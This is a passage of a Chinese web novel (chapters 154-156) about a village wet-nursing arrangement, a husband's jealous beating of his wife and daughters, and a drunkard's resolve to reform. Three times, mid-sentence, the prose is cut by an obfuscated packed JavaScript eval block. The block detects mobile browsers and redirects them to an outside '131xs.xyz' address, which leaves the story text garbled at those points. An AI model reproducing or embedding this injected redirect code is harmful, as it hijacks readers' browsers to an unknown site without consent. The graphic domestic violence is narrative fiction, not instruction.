云义这几日其实早已做好了安排。他与村里的另外两家人商量好了,每天会带着孩子去别人家吃上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512880|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两次奶,然后再给孩子补充一些羊奶,这样差不多就正好能满足孩子的需求了。 唐小雨安慰着秀兰,温柔地说:“秀兰,你别想太多,先把自己的身体养好才是最重要的!孩子会健康成长的,你放心吧。” 秀兰微微点头,眼中闪过一丝感激之情。她知道唐小雨是在关心她,也明白自己现在需要好好调养身体。 转眼又过了半月,传美的小身体明显长圆了一大圈,她的饭量也在不断的增长! 之前的一位妇人表示自己也没什么奶了,自家孩子也准备断奶了,可是家里的那头母羊好像已经满足不了传美的胃口了! 这日傍晚,传美又哭了起来,云义抱着孩子二话不说,就打算去附近的村子也打听打听问一下,看谁家能帮忙喂两口! 刚路过村口小树林,远远地就看到那棵大树下好像有个妇人在给孩子喂奶。云义抱着孩子,缓缓地朝着那树林的方向走去。 兴许是怀里传美的哭声引起了正在喂奶的那个女人的注意,云义还没来得及抬起头,就听到那女人的声音传来:“她是饿了吗?” 这声音,听起来似乎有些熟悉,云义不禁心头一动。他急忙抬起头,目光直直地看向那个女人。 当他看清对方的面容时,整个人都愣住了——那人竟然是春芬! 云义呆呆地站在原地,一时间竟不知该说些什么好。那些曾经的点点滴滴,此刻都如潮水般涌上心头。 而春芬的目光落在传美身上,看着孩子因为饥饿而哭闹不止,脸上露出一丝心疼之色,继续说道:“那是你的孩子吗?她都饿成这样了,你怎么还抱着往外跑!” 云义一脸焦急地说道:“她娘没有奶!” 春芬连忙说道:“抱来给我吧!”边说边把自己怀里的孩子递给旁边站着的小女孩,然后张开双臂,准备接过云义手中的孩子。 云义看着怀里哇哇直哭的传美,心中有些无奈,但也只好小心翼翼地将孩子递给了春芬,并感激地说道:“谢谢!” 春芬接过孩子后,轻轻地拍了拍她的后背,温柔地安抚着。传美似乎感受到了春芬的温暖,哭声渐渐小了下来。 春芬一边哄着孩子,一边好奇地问道:“你什么时候成的婚啊?娶的哪家姑娘呀?” 云义的脸色突然变得有些尴尬,他犹豫了一下,低声回答道:“我……我没有成婚……” 春芬闻言,脸上露出惊讶的表情,她瞪大了眼睛,难以置信地看着云义,问道:“你……竟然没有……那,这个孩子……” 云义的头更低了,他吞吞吐吐地解释道:“我大嫂生下她之后身体太差了,所以……” 春芬看着怀里的婴儿正津津有味地吃着奶,不禁感叹道:“还没满月的吧?” 云义点了点头,轻声应道:“嗯……快了!” 春芬微笑着说:“你大嫂真幸福,有你们两兄弟护着!” 云义听了这句话,心中却有些不是滋味,他默默地把头转向了一旁,不再说话。 过了一阵子,传美吃饱了也睡着了,春芬把衣服拉好:“孩子吃饱了,你要是还有需要,以后每天上午可以来这里找我!” 云义小心翼翼地接过孩子,满脸狐疑地看着春芬,似乎不敢相信她刚才说的话,问道:“你说的是真的?” 春芬见状,微微一笑,点了点头,语气轻松地说道:“不就是奶个孩子嘛,有什么大不了的。” 云义听了,心中稍安,连忙向春芬道谢。然而,就在这时,他注意到了春芬身旁站着的那个小姑娘身上,年纪大约十来岁,怀里同样抱着一个几个月大的婴儿。 云义不禁惊讶地问道:“你都有两个孩子了?” 春芬尚未回答,一旁的小姑娘却抢先开了口:“我还有个姐姐呢!”她的声音清脆悦耳,透着一丝天真无邪。 第154章 春芬 春芬微笑着点了点头,证实了小姑娘的话:“嗯,我有三个孩子了。我们只是路过这里,感觉有些累了,所以就在这儿歇息一会儿。” 云义看着这对母女,心中感慨万千。他与春芬对视一眼后,彼此都没有再多说什么。 云义抱着传美回了家,春芬望着云义离开的身影一直张望着!身边的女孩眨着大眼睛,好奇地看着春芬,开口问道:“娘,你跟那个叔叔很熟吗?我怎么从来没见过他呀!” 春芬心中一紧,连忙轻声呵斥道:“盼弟,回去后可别跟你爹乱说,那个人只不过是娘以前的好朋友!” 是的,春芬的大女儿,被柴勇华取名叫做招弟,二女儿则取名叫做盼弟。而她怀中这个可爱的小宝,才是真正让柴勇华如愿以偿的宝贝儿子,取名叫柴家宝!说起这三个孩子的父亲,那后面的故事可真是相当精彩呢! 盼弟乖巧地点点头,应道:“我知道的娘,我绝对不会告诉爹的!” 接下来的几天里,正如盼弟所说,她真的没有向任何人透露出这些事情。而春芬呢,每天都会在那棵大树下等待着,仿佛这已经成为了她生活中的一部分。 而云义呢,他每天都会准时抱着传美来到大树下,将她喂饱后再小心翼翼地抱回家去。但对于春芬来说,心里却有着一种无法言说的温暖和慰藉。 而春芬她每天都会趁着柴勇华早上去猪肉铺子里忙碌的时候,偷偷地抱着小宝出来,赶到那棵大树下与云义会面。 可是这一日早上,春芬见柴勇华走出了家门,她便收拾了,抱着家宝朝着那树林走去! 只是没想到柴勇华今日竟突然半途折返,回家后在屋里转了几圈都没有发现春芬的身影! 柴勇华在屋子里找了一圈都没有发现春芬的身影,心里不禁有些纳闷,于是他决定起身去找隔壁邻居家大娘问问看是否见到过春芬。 当他敲响隔壁家的门时,开门的是一位老妇人。柴勇华礼貌地询问妇人是否看到过春芬,大娘看了他一眼,然后嘴角露出一丝不易察觉的笑容。 “哎呦,你家那口子啊,这几天可是天天往外跑呢!”那大娘的语气有些阴阳怪气,“而且每次都是急匆匆的,好像有啥急事似的!” 柴勇华一听这话,心里顿时“咯噔”一下,一种不好的预感涌上心头。他连忙追问大娘是否知道春芬去了哪里,但那位大娘却只是摇摇头,表示自己并不清楚。 柴勇华在附近四处打听春芬的下落,可得到的消息却让他的心情愈发沉重。有人告诉他,春芬好像在外头跟一个野男人私会,而且已经不是一天两天了。 听到这个消息,柴勇华的怒火瞬间被点燃,他觉得自己的头顶仿佛都要冒出青烟来。他无法接受这样的事,愤怒让他失去了理智。 他转身回到家里,从厨房里抓起一把菜刀,然后气势汹汹地朝着门外走去。 然而,就在他刚刚走出家门没多远的时候,迎面竟然撞见了抱着孩子正往家里走的春芬。 春芬看到柴勇华手里拿着菜刀,脸上露出惊恐的表情,她急忙想要解释,但还没等她开口,柴勇华就猛地一把揪住了春芬的手腕。 “说,那个野男人在哪儿?”柴勇华生气地对着春芬吼道,他的声音震耳欲聋,整个周围的人都能听到。 春芬一脸惊愕地看着柴勇华,完全不明白他在说些什么。 柴勇华又对着春芬吼道:“你不在家里好好待着,往外跑什么?别人可是看到了你在外面私会野汉子!你给老子说清楚,那个野汉子到底是谁?老子今天非得去弄死他不可!” 春芬被柴勇华的话吓了一跳,她连忙解释道:“你在胡说些什么啊!我不过是抱着小宝出去转一转,哪有什么男人?你这又是听谁胡说的!” 然而,柴勇华根本不相信春芬的话,他骂骂咧咧地说:“臭**,你还不肯说实话是吧?好啊,你跟我回家去,看老子怎么收拾你!” 说着,柴勇华毫不顾忌春芬怀里抱着的孩子还在哇哇大哭,他伸手抓住春芬的头发,用力一扯,然后就把春芬一路扯回了家。 这一幕都被附近的邻居们看着,他们对此似乎早已**以为常。有的人只是看了一眼,然后就像什么都没发生一样,转头继续做自己的事情;有的人则露出了一丝怜悯的表情,但也没有一个人站出来制止柴勇华的行为。柴勇华回到家以后,立马就关上了门!拿起鞭子使劲的朝着春芬身上挥着,发泄着自己心中的怒气! 直到柴勇华打累了,他才像一滩烂泥一样,气喘吁吁地扔下了手中的鞭子,嘴里还骂骂咧咧地说道:“等老子晚上回来再好好收拾你!” 时间过得飞快,转眼间就到了傍晚时分。春芬强忍着身上的剧痛,拖着虚弱不堪的身体,艰难地走进厨房,开始准备晚餐。尽管每一个动作都让她痛苦不堪,但她还是咬牙坚持着,因为她知道,如果不做好晚饭,柴勇华回来后肯定会更加生气,后果不堪设想。 就在春芬在厨房里忙碌的时候,她的两个女儿放学回家了。当她们一进门,就看到了浑身伤痕累累的母亲,顿时惊呆了。大女儿招弟瞪大眼睛,满脸惊恐地问道:“娘,爹他又打你了?” 春芬强忍着泪水,摇了摇头,不想让女儿们担心。她抬起头,看着两个女儿,声音略微有些颤抖地说道:“我没事儿,你们别担心。趁他还没有回家来,你们两个快吃,吃完了带着你妹妹出去躲一会儿!” 以往都是如此,平日里,春芬每次挨打的时候,都生怕柴勇华会把自己的坏脾气发泄到女儿身上,因为她深知柴勇华并不喜欢家里这两个女儿,所以每次她都想办法让两个孩子躲起来! 今日也是如此,只是两个孩子刚坐下来,没想到下一秒,柴勇华竟突然间回来了! 柴勇华的脸色犹如阴云密布一般,令人感到压抑和恐惧。他的弟弟柴勇林则默默地跟在他身后。两人一前一后地走进家门,整个屋子的气氛都瞬间变得凝重起来。 两个女儿一见到父亲回来,原本活泼的她们立刻像受惊的小鸟一样,战战兢兢地站到了一边,不敢发出一点声音。 春芬见状,急忙盛好饭菜,摆放在桌上,然后轻声招呼两个女儿过来坐下吃饭。然而,就在下一秒,意想不到的事情发生了——柴勇华突然猛地抓起那只饭碗,狠狠地摔在了地上! “砰”的一声,饭碗破裂的声音在寂静的房间里显得格外刺耳,米饭和瓷片四处飞溅。两个女儿被这突如其来的一幕吓了一大跳,站在原地不敢挪动脚步。 “还想吃老子的饭!都给老子滚出去站着!”柴勇华怒目圆睁,对着两个女儿咆哮道。 两个女儿不敢有丝毫违抗,只能小心翼翼地迈着步子,缓缓地走出房门,站到了院子外面。她们的身影显得那么弱小和无助。 而此时的柴勇林,却完全置身事外,只顾埋头自顾自地扒拉着碗里的饭菜,对这一切似乎视而不见。他始终没有抬起头来,更没有说过一句话,仿佛这一切都与他无关。 柴勇华的怒火并没有因为两个女儿的离开而平息,他的目光转向春芬,恶狠狠地问道:“你给我老老实实说清楚,外面那个野男人是谁?你要是不说,那两个丫头片子就别想吃饭!” 春芬脸上写满了委屈和恐惧,声音略微有些颤抖的说道:“我没有!” 然而,柴勇华根本不相信她的解释,他突然猛地用力拍了一下桌子。那“砰”的一声巨响,整个桌子都被震得颤动起来。 “你当老子是个傻子?”柴勇华额头上的青筋暴起,他恶狠狠地盯着春芬,继续咆哮道:“你也不看看老子是谁?你也敢跑出去勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518074|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭别的男人!”他的声音充满了愤怒和不满,在这房间里面回荡着,让人不禁感到一阵恐惧。 站在外面的盼弟此刻明白了,原来是因为母亲那日答应了每日都去给那个小孩喂奶,想必是每日见了那个男人才让爹生气的!她觉得事情都是那个男人惹出来的,她得去找那个男人来解决才行!想到这里,她突然起身跑向外面,朝着那李家沟的方向跑去! 招弟眼见妹妹像一阵风似的突然跑出去了,她心里不禁一紧,本能地想要迈步追出去。然而,就在她刚抬起脚的瞬间,柴勇华那严厉的声音在她耳边传来:“死丫头给我站住!” 招弟被这突如其来的呵斥吓了一跳,身体猛地一颤,硬生生地止住了脚步。她有些惊恐地看着柴勇华,只见他一脸怒容:“怎么?还想跑出去找人通风报信不成?”柴勇华的声音中充满了愤怒和怀疑,“真是个养不熟的,吃里扒外的狗!” 招弟的脸色瞬间变得惨白,她连忙解释道:“我……我就是想出去看下妹妹!” 柴勇华根本不听她的解释,冷哼一声道:“看她做什么,一个丫头片子,丢了就丢了,丢了老子还高兴呢!” 一直沉默着的柴勇林此时终于发话了,他的声音相对温和一些:“大哥,你看你,这招弟,盼弟也养不了几年了,这招弟再过两年不就可以许个婆家了!都养了这么多年了,浪费了那么多粮食,现在要是丢了多可惜!” 柴勇华听了弟弟的话,稍微冷静了一些,他转头看向招弟,眼中的怒火依然没有完全熄灭,但语气却稍微缓和了一些:“去,把你妹妹给我找回来,你妹妹要是回不来,我打断你的腿!” 春芬此时用眼神示意招弟赶快出去!招弟看了眼母亲,又看了眼父亲那一张阴沉而又恼怒的脸,招弟眼中含泪地喊道:“爹,你能不能不要再打我娘了!”她的声音充满了恐惧和祈求。 柴勇华听到招弟的话,猛地转过身来,眼中闪过一丝怒意。他毫不犹豫地抬起手,狠狠地给了招弟一巴掌。招弟猝不及防,这一巴掌让她重重地摔倒在了地上。 春芬见状,心急如焚,她急忙跑过去,扶起倒在地上的招弟。招弟的脸颊已经高高肿起,嘴角也渗出了一丝鲜血。春芬心疼地看着女儿,眼中满是心疼和无奈。 就在这时,摇篮里的小儿子突然被这突如其来的吵闹声惊醒,哇哇大哭起来。柴勇林见状,立刻快步上前,抱起了摇篮里的家宝,轻声哄着他。 柴勇林一边哄着孩子,一边转头对柴勇华说道:“大哥,这女人不听话,教训一下就行了,可千万别给打傻了啊!”他的语气中带着一丝担忧。 柴勇华哼了一声,说道:“我心里有数!”他的目光依然落在春芬身上,手里紧紧握着那条鞭子。 柴勇林见此情形,知道自己多说无益,便对柴勇华说道:“那我先抱家宝出去转一下。”说完,他抱着孩子匆匆走出了房间。 柴勇华看着柴勇林离开的背影,转过头来,对着春芬恶狠狠地说道:“你只要老老实实跟我说实话,把那个野男人是谁告诉我,我可以不打你!”说着,他又将那条鞭子拿了出来,在空中挥舞了一下,发出“啪啪”的声响。 招弟满脸泪痕,哭着对父亲柴勇华喊道:“爹,我娘真的不是那样的人啊!您怎么能不相信她呢?您应该相信我娘才对啊!”然而,柴勇华根本不听女儿的解释,他怒不可遏,扬起手中的鞭子,狠狠地朝着招弟抽去。 “啪”的一声,鞭子无情地落在了招弟的身上,疼得她惨叫起来。柴勇华骂道:“你这个赔钱货,有什么资格在这里替你娘说话!” 一旁的春芬见此情形,心急如焚。她毫不犹豫地冲上前去,紧紧抱住招弟,用自己的身体挡住了鞭子。每一下抽打都让春芬痛苦不堪,但她咬紧牙关,不肯松手。 第155章 蠢女人 而此时的盼弟,心急如焚地奔跑在李家沟的小路上。她不知道母亲和姐姐具体在哪个家里,只能一家一家地在门口张望。 终于,盼弟在一个院子前看到了云义正牵着一头羊。她像见到救星一样,兴奋地跑过去,拉着云义的衣角,焦急地说道:“叔叔,求求您救救我娘吧!她快要被我爹给打**!” 云义完全摸不着头脑,眼前这个小姑娘的话让他如坠云雾,不知所云。他茫然地看着小女孩,只见她一脸焦急,似乎有什么非常重要的事情要告诉他。 云义见状,赶忙递过一碗水,关切地说道:“你先别急,慢慢说,到底发生了什么事?” 小女孩显然是真的口渴了,她毫不犹豫地抱起那碗水,“咕咚咕咚”地一饮而尽。喝完水后,她稍稍喘了口气,接着说道:“我娘……你一定要去救救我娘啊!要不是我娘天天帮你们喂这个小娃娃,也不会被我爹误会她!”说着,小女孩还伸出手指,直直地指向了襁褓里的传美。 这时,站在一旁的秀兰也被小女孩的话引起了注意,她满脸狐疑地看向云义,问道:“云义,这到底是怎么回事啊?” 云义顿时有些语塞,他支支吾吾地回答道:“我……我也不太清楚啊……” 待所有事情都解释清楚之后,秀兰毫不犹豫地立刻站起身来。她迅速地戴上围巾和帽子,将自己包裹得严严实实,仿佛要抵御严寒一般。然后,她又小心翼翼地将孩子也包裹得严严实实,生怕孩子受到一丝一毫的风寒。 云义见状,连忙劝阻道:“大嫂,您这还没出月子呢!怎么能这么着急出门呢?这样对身体可不好啊!” 秀兰却坚定地回答:“就差这两天了,我身体已经恢复得差不多了。别人好心好意地帮助我们,我们可不能让恩人寒了心啊!” 云义仍然不放心,继续劝说:“大嫂,这事儿我去跟他说清楚不就行了吗?您何必非要亲自跑一趟呢?” 秀兰摇摇头,解释道:“你是个男人,去了恐怕别人不仅不会相信你的话,反而可能会觉得你们有问题。这样一来,不仅解决不了问题,说不定连你都会吃亏呢!所以,我必须得亲自去,而且孩子也得一起去,这样别人才能相信,她确实只是帮忙喂了几口孩子而已。” 云义见秀兰如此坚决,知道自己再怎么劝也无济于事,只好无奈地叹了口气,帮忙抱起孩子,跟秀兰一起,随着盼弟朝着那柴家走去。 就在此时,柴勇华像发了疯一样,手中的鞭子如雨点般狠狠地抽打在春芬母女俩的身上。每一下都像是带着无尽的怒火。 春芬咬紧牙关,拼命忍受着这痛苦的折磨,但她的身体终究还是无法承受如此猛烈的鞭打。终于,她的意识渐渐模糊,眼前一黑,便晕了过去。 一旁的招弟看到母亲晕倒在地,心急如焚,她哭着哀求道:“爹,娘已经晕倒了!求求你别再打了!”然而,柴勇华却对女儿的哭诉充耳不闻,他恶狠狠地瞪了一眼地上的春芬,然后朝着地上啐了一口唾沫,骂道:“呸,居然跟老子装死?” 说罢,他端起桌上的那碗水,毫不犹豫地朝着地上的春芬泼了上去。 凉水的刺激让春芬的身体猛地一颤,她那原本紧闭的双眼突然睁开,猛吸了一口气。身上的伤痛在凉水的刺激下愈发剧烈,她的意识也在这剧痛中逐渐恢复。 柴勇华见状,不仅没有丝毫怜悯之心,反而更加恼怒地吼道:“居然还会跟老子装**?你倒是继续装啊!” 春芬强忍着身上的剧痛,泪水在眼眶中打转,她哀求道:“算我求你,不要再打了!” 柴勇华一脸怒容地盯着春芬,咬牙切齿地吼道:“怎么?你终于想明白了?愿意说出那个野男人是谁了?” 春芬的身体微微颤抖着,她拼命地摇着头,声音带着一丝哭腔:“根本就没有什么男人……” 柴勇华见状,更加愤怒了,他瞪大了眼睛,额头上的青筋暴起,怒吼道:“我看你是不见棺材不落泪是吧!” 话音未落,他手中的鞭子再次高高扬起,然后狠狠地朝着春芬的身上抽去! “啪!”鞭子抽打在春芬身上的声音在院子里回荡着,春芬的身体猛地一颤,痛苦地呻吟起来。 然而,就在这千钧一发之际,院门突然被“砰”的一声推开了,盼弟像一阵风似的冲了进来,她的小脸因为奔跑而涨得通红,嘴里还喘着粗气。 “爹!”盼弟一见到柴勇华,便焦急地喊道,“你别再打娘了!” 柴勇华被盼弟的突然出现吓了一跳,他的手停在了半空中,鞭子也没有再落下去。 还没等柴勇华反应过来,云义和秀兰也紧跟着冲进了院子里。秀兰快步走到春芬身边,查看她的伤势。云义则抱着传美站在一旁,满脸忧虑地看着这一幕。 还没等柴勇华张口,秀兰就先开了口:“这位大哥,实在是对不住啊!都怪我这身子不争气,生下这孩子也没个奶水,这不,才求春芬每日帮我给孩子喂几口奶水的!要不是她,我这孩子怕是早被饿**!我本打算着满月了以后再来上门感谢你们的,刚才听了盼弟说的话,我觉得大哥你肯定是误会大嫂了,所以我才立马过来把事情讲明白的!给您添麻烦了,实在是对不起了!”说着还从兜里掏出来了一把钱,她小心翼翼地递给了柴勇华,然后轻声说道:“这只是我的一点心意,我知道这点东西远远不够,但我真的只能拿出这么多了……” 柴勇华定睛一看,发现眼前的女人把自己包裹得严严实实的,只露出一双眼睛和一小部分脸。再仔细一看,跟她一起来的那男人怀里确实还抱着一个小不点的孩子,看起来也确实只有月把大小。 柴勇华不禁心生疑惑,他转头看向春芬,迟疑地问道:“你每天都是跑去给那孩子喂奶去了?” 春芬默默地点了点头,似乎有些不好意思。 柴勇华见状,恍然大悟道:“哎呀,你早说嘛!这事儿你应该早点告诉我的呀!”说着,他毫不犹豫地接过了秀兰手中的钱。 柴勇华接着说道:“我说这位大妹子啊,你看看你,自己都瘦得像干柴一样了,怪不得没奶水呢!等下我送你两斤猪肉你回去好好补补!这孩子嘛,明天让她接着去帮你奶孩子,我这女人天天我可是大鱼大肉的伺候着的啊,她那奶水可足着呢!” 秀兰连忙说道:“不用了,我们家里还有头母羊,以后就不劳烦大嫂了!”她的语气坚定而客气。 柴勇华听了,却不以为然地笑了笑,说道:“大妹子,你跟我还客气啥呢!早说开了不就好了嘛!都怪这个蠢女人,问她什么又不说!”他一边说着,一边狠狠地瞪了一眼身旁的春芬。 正说着,襁褓里的传美突然哇哇大哭起来,那哭声在安静的屋子里显得格外刺耳。柴勇华见状,脸色微微一变,有些不耐烦地说道:“那我先出去!”说完,他便一脸得意地快步走出了家门。 秀兰和盼弟对视一眼,都从对方的眼中看到了无奈。然后,她们一起快步走到春芬和招弟身边,小心翼翼地将两人扶了起来。 春芬看着面前的秀兰和云义,眼中流露出感激之情,说道:“谢谢你们来给我解围,只是,你们怎么会过来呢?” 秀兰连忙摆手,微笑着回答道:“应该是我谢谢你才对呀,春芬。这段时间我身子一直不太好,云义回去后也没有跟我提起过这些事情。” 云义的目光落在春芬身上,看着她满身的伤痕,心中不禁涌起一丝愧疚。他开始怀疑,春芬现在这样艰难的生活是否与自己有关。 春芬似乎察觉到了云义的目光,她有些不自在地移开视线,或许是不想让云义看到自己如此狼狈的模样。她轻声说道:“你们走吧,我想要好好休息一下。”话音未落,她便转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523292|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身快步走进屋子里,关上了门。 盼弟站在一旁,看着母亲的背影,眼中闪过一丝担忧。她转过头,对秀兰和云义说道:“谢谢叔叔婶子,要不是你们愿意来帮忙,我娘还不知道会被打成什么样子呢!” 云义皱起眉头,满脸狐疑地问道:“你爹经常打你娘吗?” 盼弟的眼中闪过一丝恐惧,她低下头,轻声回答道:“每次爹喝多了回来,都会打我们出气!” 秀兰惊讶地捂住嘴巴,难以置信地说:“连你们也打?” 盼弟默默地点了点头,泪水在眼眶里打转,“嗯,但是他每次喝多了,我娘都会让我们跑出去躲起来,最后都是我娘挨打的多!” 云义的心中涌起一股怒火,他无法理解为什么春芬要忍受这样的生活。他瞪大眼睛,急切地追问:“那你娘为什么不离开呢!” 盼弟摇了摇头,一脸茫然地说:“我不知道!” 云义觉得眼前的这个春芬和他记忆中的那个春芬完全不同。他记得春芬曾经是个活泼开朗、独立的女人,怎么会在这样的家庭环境中默默忍受呢?他很想要问明白,但是春芬如今毕竟是别人的妻子,于情于理自己好像都不应该干涉太多,想了想,便放弃了自己的想法,目前最重要的应该是赶快让嫂子回家去才是! 云义轻声说道:“嫂子,我们先回家去吧!” 秀兰微微颔首,应道:“好吧!回家去吧!” 云义和秀兰转身离去,然而,在他踏出脚步的瞬间,他不由自主地回过头,望向身后的盼弟。 云义心中不禁涌起一股难以言喻的思绪,他凝视着盼弟,若有所思! 回家的路上,晚风吹的小草沙沙直响,云义抱着孩子,跟在秀兰身后,一路上脚步声在寂静的道路上回响。 过了一会儿,秀兰打破了寂静,说道:“过两天,你带着传家去把你大哥带回来吧!就算是人不在了,也要落叶归根啊,人总不能就一直在外飘着吧……” 云义默默地点了点头,没有说话。他知道大嫂说得对,大哥虽然离开了人世,但他的尸骨应该回到故乡,与家人团聚。 秀兰继续说道:“你给我的那些钱都是你辛苦赚来的吧,说是你大哥让你捎回来的话,都是骗我的吧?” 云义的身体微微一震,他的喉咙有些发紧,一时间不知道该如何回答,最后只说了句:“大嫂,我……” 秀兰语重心长地对云义说:“你就放心吧,你给我的那些钱,我都会帮你好好存起来的。等以后你要是想娶个媳妇儿了,我肯定会帮你张罗好一切的!” 云义一听,连忙着急回应道:“大嫂,您别这么说。大哥虽然不在了,但是我也有责任和义务照顾好孩子们啊!而且,我根本就没有想过要成婚,以后也绝对不会成婚的!” 秀兰见状,叹了口气,接着劝说道:“云义啊,娘在世的时候,她唯一的心愿就是希望能看到你成家立业啊!现在娘已经不在了,你也应该好好考虑考虑自己的人生大事了。” 云义深吸一口气,凝视着秀兰的眼睛,郑重地说道:“大嫂,我现在唯一的想法,就是替我大哥照顾好你和孩子们。这不仅仅是责任,更是我发自内心深处的想法。我知道这可能会很辛苦,但我愿意付出一切去守护这个家。” 秀兰的眼眶渐渐湿润,她摇了摇头,轻声说道:“说什么傻话呢,你这一辈子不可能一直围着我们这个家转啊。你也要有自己的生活,自己的家庭,这样对你不公平。” 云义连忙打断了秀兰的话:“大嫂,我不怕辛苦,也不在乎公平与否。我只知道,如果我不这么做,我会一辈子良心不安。我也不能眼睁睁地看着你们受苦。” 秀兰感动地看着云义,云义坚定地说:“大嫂,你放心。我一定会帮忙把这几个孩子养大成人的,让他们都成为有出息的人。” 第156章 好狗不挡道 云义怀着悲痛的心情,领着传家一同踏上了前往新县的路途。他们历经艰辛,找到了大哥的尸骨,并将其带回了家。 回到家中后,一家人陷入了深深的哀伤之中。云义强忍着泪水,与文孝一起操办了一场庄重而肃穆的丧事。他们将云亭的尸骨安葬在了杏花的墓地旁,希望他们能在此得到安息。 秀兰和孩子们则悲痛欲绝,哭声回荡在整个村庄。村里的人们纷纷前来吊唁,他们对这突如其来的悲剧感到无比惋惜,感叹着老天的无情。如此年轻的生命,就这样毫无征兆地消逝了,实在令人痛心。 云亭去世的消息如同一阵旋风,迅速传遍了附近的几个村子。人们都为这个不幸的家庭感到难过,同时也对秀兰的未来充满了担忧。 而在那王家村,也有人在村边窃窃私语。他们谈论着李家村的那个女人,说她年纪轻轻就成了寡妇,肯定难以守住这份寂寞。这些闲言碎语,简直成了大家茶余饭后的谈资。 然而,那个天天只知道酗酒的王知,却对这些谈论毫不在意。他路过时听到了这些话,但根本没把它们当回事。在他看来,别人的事情与他毫无关系,他只关心自己的酒和那无尽的醉意。 恰巧喝多了的他,脑袋晕乎乎的,身体也有些不听使唤。他原本只是无意识地随意扫视了一眼周围的景色,然而,当他的目光偶然间落在那片油菜花地时,仿佛有一道闪电划过他的脑海,瞬间让他清醒了过来。 又是一年春天,那片油菜花田自然种满了油菜花,依然如往昔般绚烂夺目,金黄的花海在微风中轻轻摇曳,散发出淡淡的芬芳。这熟悉的景象,让他的心中涌起一股难以言喻的情感。 突然,一个熟悉的身影出现在他的视野中,宛如一道明亮的光,瞬间吸引了他全部的注意力。那个身影,即使距离有些远,他也能一眼就认出来——那是秀兰! 远远望去,秀兰身着一身素白的孝衣,显得格外引人注目。那身孝衣在金黄色的油菜花映衬下,更显得苍白而哀伤。 尽管时间已经过去了十几年,但他对秀兰的记忆却如同昨日一般清晰。他可以肯定,那个站在油菜花地中的人,绝对就是秀兰! 王知的心头猛地一紧,一个念头如闪电般在他脑海中闪过:刚才他们在聊什么?她就是那个寡妇?那就是说,他死了!!! 这个念头让他的心重新跳跃了一下。他不禁为秀兰感到难过,此刻的她,想必正处于极度的悲痛之中。 他下意识地想要迈开脚步,走向秀兰,去陪伴她,安慰她。然而,就在他准备抬腿的瞬间,背后突然传来了王思念的声音:“爹,你又喝酒了?” 这声音仿佛一盆冷水,将他从冲动中拉回了现实。他有些惊愕地转过身,看着站在身后的王思念,一时间有些不知所措。 王思念的脸上露出一丝担忧的神色,他皱起眉头,看着王知,似乎对他身上的酒味有些不满。 王知被王思念的话打断了思绪,他突然意识到自己身上的酒气可能会让秀兰感到不适。于是,他竟反常地闻了一下自己的衣袖,一股浓烈的酒味扑鼻而来,确实很难闻。 王知突然说道:“我回去换身衣服!”他的声音有些低沉,但却透露出一种坚定。 王思念不禁望向父亲,心中涌起一股异样的感觉。平日里的父亲,要么是醉醺醺地倒在床上,要么是昏昏沉沉地睡一整天,完全没有今天这样的精神头。他不禁想,父亲今天到底是怎么了?怎么会突然变得如此奇怪,居然还主动提出要去换衣服?真是太阳打西边出来了! 王知回到家中,走进房间,打开衣柜,挑选了一套干净整洁的衣服换上。然后,他站在镜子前,仔细端详着自己。这一看,吓了他自己一大跳……他才发现自己的头发和胡须都很长,看起来邋里邋遢,仿佛已经很久没有收拾过了。 “这头发和胡须都这么长了?怎么都没人提醒我一下啊!”王知心里暗自嘀咕着。他越看越觉得自己的形象有些糟糕,心想:“幸好我今天回来了一趟,要不然以这副模样去见秀兰,恐怕会把她吓到吧!” 于是,王知决定给自己来个彻底的改变。他先是舒舒服服地洗了个热水澡。洗完澡后,他又将胡须刮得干干净净。接着,他拿起剪刀,对着镜子,自己动手把头发也剪短了一些。 当王知再次站在镜子前时,他惊讶地发现,自己整个人都变得清爽了许多,仿佛一下子年轻了好几岁,而且看起来更像以前的自己了。 王知看着镜子中的自己,嘴角微微露出了一丝笑意。这个笑容虽然很淡,但却透露出一种对新生活的期待和信心。 就在这时,王知的母亲黄珍珠走了进来。她一看到儿子,眼睛就不由自主地湿润了,泪水在眼眶里打转。 “儿啊,你这……”黄珍珠激动得有些说不出话来。 王知走到母亲身边,轻轻拍了拍她的肩膀,说道:“娘,对不起!以前是我不好,让您担心了。但从今天开始,我想要好好地生活,不再像以前那样浑浑噩噩了。” 黄珍珠满脸狐疑地看着王知,似乎对他所说的话半信半疑,她紧紧地握着王知的手,追问道:“你说的都是真的吗?你可别骗我啊!” 王知感受到母亲的担忧和不安,他用力地摇了摇头,语气坚定地说:“娘,您放心吧!我绝对不会再像以前那样天天喝酒了!我已经下定决心了。” 